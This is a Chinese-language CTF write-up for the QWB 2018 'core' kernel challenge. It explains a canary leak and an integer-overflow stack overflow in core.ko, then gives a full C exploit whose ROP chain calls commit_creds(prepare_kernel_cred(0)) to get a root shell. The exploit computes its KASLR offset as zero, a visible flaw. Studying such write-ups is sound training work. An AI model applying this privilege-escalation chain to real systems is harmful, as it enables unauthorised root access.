例題:強(qiáng)網(wǎng)杯2018 - core
1.反編譯代碼分析
文件里面包含了這幾個(gè)文件
bzImage,core.cpio,start.sh,vmlinux
先看看start.sh
- qemu-system-x86_64
-m 128M
-kernel ./bzImage
-initrd ./core.cpio
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
-s
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
-nographic \\
可以看到咱們這兒題目采用了kaslr ,有地址隨機(jī),所以咱們需要泄露地址,大致思路和用戶(hù)態(tài)一致。這里還注意那就是從ctfwiki上面下載下來(lái)的題目是-m 64M,這里會(huì)出現(xiàn)運(yùn)行不了虛擬機(jī)的情況,所以咱們改為128M即可,這是內(nèi)存大小的定義,太小了跑不動(dòng)。
之后咱們?cè)倏纯次募到y(tǒng)解壓后得到的init腳本:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mv exp.c /
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#setsid /bin/cttyhack setuidgid 0 /bin/sh
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\\n'
umount /proc
umount /sys
poweroff -d 0 -f
從中我們可以看到文件系統(tǒng)中insmod了一個(gè)core.ko,一般來(lái)講這就是漏洞函數(shù)了,還有咱們可以添加setsid /bin/cttyhack setuidgid 0 /bin/sh這一句來(lái)使得我們進(jìn)入虛擬機(jī)的時(shí)候就是root權(quán)限,大伙不必驚慌,這里是因?yàn)樵蹅兪窃俦镜匦枰M(jìn)行調(diào)試,所以init腳本任我們改,start腳本也是,咱們可以直接把kalsr關(guān)了也行,但關(guān)了并不代表咱們不管,咱們這一舉動(dòng)主要是為了方便調(diào)試的,最終打遠(yuǎn)程還是人家說(shuō)了算,咱們值有一個(gè)exp能提交。
接著分析init,這里還發(fā)現(xiàn)開(kāi)始時(shí)內(nèi)核符號(hào)表被復(fù)制了一份到/tmp/kalsyms中,利用這個(gè)我們可以獲得內(nèi)核中所有函數(shù)的地址,還有個(gè)惡心的地方那就是這里開(kāi)啟了定時(shí)關(guān)機(jī),咱們可以把這給先注釋掉poweroff -d 120 -f &進(jìn)入漏洞模塊的分析。
這里可以看到有canary和NX,所以咱們通過(guò)ROP的話(huà)需要進(jìn)行canary泄露。
接下來(lái)咱們分析相關(guān)函數(shù)init_moddule:
可以看到模塊加載的初期會(huì)創(chuàng)建一個(gè)名為core的進(jìn)程,在虛擬機(jī)中在/proc目錄下。
再看看比較重要的ioctl函數(shù):
可以看出有三個(gè)模式選擇,分別點(diǎn)入相關(guān)函數(shù)看
" class="anchor" href="#
這里的read函數(shù)就是向用戶(hù)指定的地址從off偏移地址寫(xiě)入64個(gè)字節(jié)。而從ioctl中第二個(gè)case可以看到咱們居然可以設(shè)置off,所以我們可以通過(guò)設(shè)置偏移來(lái)寫(xiě)入canary的值,而我們從ida中可以看到咱們的canary是位于這里。
可以知道相差對(duì)于v5相差0x40,所以咱們?cè)O(shè)置的off也是0x40我們還可以來(lái)看看file_operations,(不秦楚的大伙可以看看我的上一篇環(huán)境搭建的文章),可以看到他只實(shí)現(xiàn)了write,ioctl,release的系統(tǒng)調(diào)用:
我們?cè)賮?lái)看看其他函數(shù),先看core_write:
這里可以知道他總共可以向name這個(gè)地址寫(xiě)入0x800個(gè)字節(jié),心動(dòng)
我們?cè)賮?lái)看看ioctl中第三個(gè)選項(xiàng)的core_copy_func
發(fā)現(xiàn)他可以從name上面拷貝數(shù)據(jù)到達(dá)棧上,然后這個(gè)判斷存在著整形溢出,這里如果咱傳個(gè)負(fù)數(shù)就可以達(dá)成效果了。
1. Kernel ROP
既然咱們可以在棧上做手腳,那么我們就可以利用ROP的方式了,首先找?guī)讉€(gè)gadget,這里的gadget是需要在vmlinux中尋找,我的推薦是用:
objdump -d ./vmlinux > ropgadget \\
cat ropgadget | grep "pop rdi; ret"
這樣的類(lèi)型進(jìn)行尋找[/md]
1.尋找gadget
如圖:對(duì)于上面所說(shuō)的比較關(guān)鍵的兩個(gè)函數(shù)commit_creds以及prepare_kernel_cred,我們?cè)趘mlinux中去尋找他所加載的的地址
然后我們可以看看ropgadget文件。
從中咱們可以看到其中即我們所需要的gadget(實(shí)際上就是linux內(nèi)核鏡像所使用的匯編代碼),此時(shí)我們?cè)偻ㄟ^(guò)linux自帶的grep進(jìn)行搜索,個(gè)人認(rèn)為還是比較好用的,用ropgadget或者是ropper來(lái)說(shuō)都可以,看各位師傅的喜好來(lái).
以此手法獲得兩個(gè)主要函數(shù)的地址后,此刻若咱們?cè)趀xp中獲得這兩個(gè)函數(shù)的實(shí)際地址,然后將兩者相減即可得到KASLR的偏移地址。
自此咱們繼續(xù)搜索別的gadget,我們此刻需要的gadget共有如下幾個(gè):
swapgs; popfq; ret;
mov rdi, rax; call rdx;
pop rdx; ret;
pop rdi; ret;
pop rcx; ret;
iretq
師傅們可以用上述方法自行尋找。
2. 自行構(gòu)造返回狀態(tài)
雖然咱們的提權(quán)是在內(nèi)核態(tài)當(dāng)中,但我們最終還是需要返回用戶(hù)態(tài)來(lái)得到一個(gè)root權(quán)限的shell,所以當(dāng)我們進(jìn)行棧溢出rop之后還需要利用swapgs等保存在內(nèi)核棧上的寄存器值返回到應(yīng)得的位置,但是如何保證返回的時(shí)候不出錯(cuò)呢?
那就只能在調(diào)用內(nèi)核態(tài)的時(shí)候?qū)⒓磳⒈4娴恼_的寄存器值先保存在咱們自己申請(qǐng)的值里面,這樣就方便咱們?cè)趓op鏈結(jié)尾填入他們實(shí)現(xiàn)返回不報(bào)錯(cuò)。既然涉及到了保存值,那我們就需要內(nèi)嵌匯編代碼來(lái)實(shí)現(xiàn)此功能,代碼如下,這也可以視為一個(gè)通用代碼:
size_t user_cs, user_ss,user_rflags,user_sp;
//int fd = 0; // file pointer of process 'core'
void saveStatus(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}
大伙學(xué)到了內(nèi)核pwn,那匯編功底自然不必說(shuō),我就不解釋這段代碼功能了。
3. 攻擊思路
現(xiàn)在開(kāi)始咱們的攻擊思路思考,在上面介紹各個(gè)函數(shù)的時(shí)候我也稍微講了點(diǎn),我們所做的事主要如下:
- 利用ioctl中的選項(xiàng)2.修改off為0x40
- 利用core_read,也就是ioctl中的選項(xiàng)1,可將局部變量v5的off偏移地址打印,經(jīng)過(guò)調(diào)試可發(fā)現(xiàn)這里即為canary
- 當(dāng)咱們打印了canary,現(xiàn)在即可進(jìn)行棧溢出攻擊了,但是溢出哪個(gè)棧呢,我們發(fā)現(xiàn)ioctl的第三個(gè)選項(xiàng)中調(diào)用的函數(shù) core_copy_func,會(huì)將bss段上的name輸入在棧上,輸入的字節(jié)數(shù)取決于咱們傳入的數(shù)字,并且此時(shí)他又整型溢出漏洞,好,就決定冤大頭是他了
- core.ko 所實(shí)現(xiàn)的系統(tǒng)調(diào)用write可以發(fā)現(xiàn)其中可以將我們傳入的值寫(xiě)到bss段中的name上面,天助我也,所以咱們就可以在上面適當(dāng)?shù)臉?gòu)造rop鏈進(jìn)行棧溢出了
大伙看到這里是不是覺(jué)得有點(diǎn)奇怪,剛才不是說(shuō)要泄露地址碼,這兄弟是不是講錯(cuò)了,就這?大家不要慌,我這正要講解,從上面的init腳本中我們可以看到這一句:
cat /proc/kallsyms > /tmp/kallsyms
其中 /proc/kallsyms中包含了內(nèi)核中所有用到的符號(hào)表,而處于用戶(hù)態(tài)的我們是不能訪(fǎng)問(wèn)的,所以出題人貼心的將他輸出到了/tmp/kallsyms中,這就使得我們?cè)谟脩?hù)態(tài)也依然可以訪(fǎng)問(wèn)了,所以我們還得在exp中寫(xiě)一個(gè)文件遍歷的功能,當(dāng)然這對(duì)于學(xué)過(guò)系統(tǒng)編程的同學(xué)并不在話(huà)下。
這里貼出代碼給大伙先看看
void get_function_address(){
FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions,just like the user model running address.
if(sym_table == NULL){
printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
exit(1);
}
size_t addr = 0;
char type[0x10];
char func_name[0x50];
// when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly.
return;
if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found
commit_creds = addr;
printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
}else if(!strcmp(func_name, "prepare_kernel_cred")){
prepare_kernel_cred = addr;
printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
}
}
}
當(dāng)知道exp思路之后,其他的一切就簡(jiǎn)單起來(lái),只需要看懂他然后實(shí)現(xiàn)即可。
4. gbb調(diào)試qemu中內(nèi)核基本方法
眾所周知,調(diào)試在pwn中是十分重要的,特別是動(dòng)調(diào),所以這里介紹下gdb調(diào)試內(nèi)核的方法。
由于咱們的內(nèi)核是跑在qemu中,所以我們gdb需要用到遠(yuǎn)程調(diào)試的方法,但是如果直接連端口的話(huà)會(huì)出現(xiàn)沒(méi)符號(hào)表不方便調(diào)試的,所以我們需要自行導(dǎo)入內(nèi)核模塊,也就是文件提供的vmlinux,之后由于咱們還需要core.ko的符號(hào)表,所以咱們也可以通過(guò)自行導(dǎo)入來(lái)獲得可以,通過(guò) add-symbol-file core.ko textaddr 加載,而這里的textaddr即為core.ko的.text段地址,我們可以通過(guò)修改init中為root權(quán)限進(jìn)行設(shè)置。
這里.text 段的地址可以通過(guò) /sys/modules/core/section/.text 來(lái)查看,
這里強(qiáng)烈建議大伙先關(guān)kaslr(通過(guò)在啟動(dòng)腳本修改,就是將kaslr改為nokaslr)再進(jìn)行調(diào)試。
我們可以通過(guò)-gdb tcp:port或者 -s來(lái)開(kāi)啟調(diào)試端口,start.sh 中已經(jīng)有了 -s,不必再自己設(shè)置。(對(duì)了如果-s ,他的功能等同于-gdb tcp:1234)
在我們獲得.text基地址后記得用腳本來(lái)開(kāi)gdb,不然每次都要輸入這么些個(gè)東西太麻煩了,腳本如下十分簡(jiǎn)單:
#!/bin/bash
gdb -q \\
-ex "" \\
-ex "file ./vmlinux" \\
-ex "add-symbol-file ./extract/core.ko 0xffffffffc0000000" \\
-ex "b core_copy_func" \\
-ex "target remote localhost:1234" \\
其中打斷點(diǎn)可以先打在core_read,這里打在core_copy_func是我調(diào)到尾聲修改的。這里還注意一個(gè)點(diǎn),就是當(dāng)采用pwndbg的時(shí)侯需要root權(quán)限才可以進(jìn)行調(diào)試不然會(huì)出現(xiàn)以下錯(cuò)誤:
最開(kāi)始?xì)馑牢伊?,人家peda都不要root,但是最開(kāi)始不清楚為什么會(huì)錯(cuò),我還以為是版本問(wèn)題,但想到這是我最近剛配的一臺(tái)機(jī)子又應(yīng)該不是,其實(shí)最開(kāi)始看到permission就該想到的。
我們用root權(quán)限進(jìn)行開(kāi)調(diào):
可以看到十分的成功,此刻我continue,還記得咱們下的斷電碼,b core_read,如果咱們調(diào)用它后咱們就會(huì)在這里停下來(lái),此刻我們運(yùn)行咱們的程序試試。
這樣咱們就可以愉快的進(jìn)行調(diào)試?yán)?至此gdb調(diào)試內(nèi)核基本方法到此結(jié)束~~~
5. ROP鏈解析
這里簡(jiǎn)單講講,直接給圖:
相信大家理解起來(lái)不費(fèi)力。
6. exp
本次exp如下,大伙看看:
#include
#include
#include
#include
#include
#include
#include
#include
size_t commit_creds = NULL, prepare_kernel_cred = NULL; // address of to key function
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RDI_RET 0xffffffff81000b2f
#define POP_RCX_RET 0xffffffff81021e53
#define IRETQ 0xffffffff81050ac2
size_t user_cs, user_ss,user_rflags,user_sp;
//int fd = 0; // file pointer of process 'core'
/*void saveStatus();
void get_function_address();
#void core_read(int fd, char* buf);
void change_off(int fd, long long off);
void core_copy_func(int fd, long long nbytes);
void print_binary(char* buf, int length);
void shell();
*/
void saveStatus(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}
void core_read(int fd, char *addr){
printf("try read\\n");
ioctl(fd,0x6677889B,addr);
printf("read done!");
}
void change_off(int fd, long long off){
printf("try set off \\n");
ioctl(fd,0x6677889C,off);
}
void core_copy_func(int fd, long long nbytes){
puts("try cp\\n");
ioctl(fd,0x6677889A,nbytes);
}
void get_function_address(){
FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions,just like the user model running address.
if(sym_table == NULL){
printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
exit(1);
}
size_t addr = 0;
char type[0x10];
char func_name[0x50];
// when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly.
return;
if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found
commit_creds = addr;
printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
}else if(!strcmp(func_name, "prepare_kernel_cred")){
prepare_kernel_cred = addr;
printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
}
}
}
void shell(){
if(getuid()){
printf("\\033[31m\\033[1m[x] Error: Failed to get root, exiting......\\n\\033[0m");
exit(1);
}
printf("\\033[32m\\033[1m[+] Getting the root......\\033[0m\\n");
system("/bin/sh");
exit(0);
}
int main(){
saveStatus();
int fd = open("/proc/core",2); //get the process fd
if(!fd){
printf("\\033[31m\\033[1m[x] Error: Cannot open process \"core\"\\n\\033[0m");
exit(1);
}
char buffer[0x100] = {0};
get_function_address(); // get addresses of two key function
ssize_t vmlinux = commit_creds - commit_creds; //base address
printf("vmlinux_base = %x",vmlinux);
//get canary
size_t canary;
change_off(fd,0x40);
//getchar();
core_read(fd,buffer);
canary = ((size_t *)buffer)[0];
printf("canary ==> %p\\n",canary);
//build the ROP
size_t rop_chain[0x1000] ,i= 0;
printf("construct the chain\\n");
for(i=0; i< 10 ;i++){
rop_chain[i] = canary;
}
rop_chain[i++] = POP_RDI_RET + vmlinux ;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred ; //prepare_kernel_cred(0)
rop_chain[i++] = POP_RDX_RET + vmlinux;
rop_chain[i++] = POP_RCX_RET + vmlinux;
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux;
rop_chain[i++] = commit_creds ;
rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + vmlinux;
rop_chain[i++] = (size_t)shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd,rop_chain,0x800);
core_copy_func(fd,0xffffffffffff0100);
}
7. 編譯運(yùn)行
這里有個(gè)小知識(shí),那就是在被攻擊的內(nèi)核中一般不會(huì)給你庫(kù)函數(shù),所以咱們需要用gcc中的-static參數(shù)進(jìn)行靜態(tài)鏈接,然后就是為了支持內(nèi)嵌匯編代碼,所以我們需要使用-masm=intel,這里intel也可以換amd,看各位匯編語(yǔ)言用的啥來(lái)進(jìn)行修改,我這里用的把保存狀態(tài)代碼是intel支持的。
gcc test.c -o test -static -masm=intel -g
將此編譯得到的二進(jìn)制文件打包近文件系統(tǒng)然后重新啟動(dòng),情況如圖:
成功提權(quán)!
-
內(nèi)核
+關(guān)注
關(guān)注
3文章
1379瀏覽量
40348 -
PWN
+關(guān)注
關(guān)注
0文章
11瀏覽量
16699
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論